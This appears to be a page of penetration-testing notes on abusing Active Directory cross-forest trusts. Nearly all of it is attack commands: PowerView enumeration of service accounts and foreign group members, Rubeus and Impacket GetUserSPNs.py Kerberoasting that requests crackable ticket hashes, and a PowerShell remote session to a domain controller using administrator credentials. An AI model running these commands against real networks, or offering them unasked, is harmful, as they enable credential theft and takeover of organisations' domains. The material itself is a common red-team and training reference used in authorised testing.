> For the complete documentation index, see [llms.txt](https://strange-1.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://strange-1.gitbook.io/notes/active-directory/attacking-trusts/cross-forest-trust-abuse.md).

# Cross-Forest Trust Abuse

## Windows

### **Cross-Forest Kerberoasting**

```bash
# Enumerating Accounts for Associated SPNs Using PowerView
Get-DomainUser -SPN -Domain DOMAIN.LOCAL | select SamAccountName

# Enumerating the Account if we find any using above command
Get-DomainUser -Domain DOMAIN.LOCAL -Identity username |select samaccountname,memberof

# Performing a Kerberoasting Attacking with Rubeus Using /domain Flag
.\Rubeus.exe kerberoast /domain:DOMAIN.LOCAL /user:user /nowrap
```

### **Admin Password Re-Use & Group Membership**

```bash
# enumerate groups with users that do not belong to the domain using PowerView
Get-DomainForeignGroupMember -Domain DOMAIN.LOCAL

# Accessing DC Using Enter-PSSession
Enter-PSSession -ComputerName DC03.DOMAIN.LOCAL -Credential DOMAIN\administrator
```

## Linux

### **Cross-Forest Kerberoasting**

```bash
# Using GetUserSPNs.py
GetUserSPNs.py -target-domain DOMAIN.LOCAL DOMAIN/user

# getting hash
GetUserSPNs.py -request -target-domain DOMAIN.LOCAL DOMAIN.LOCAL/user
```


---

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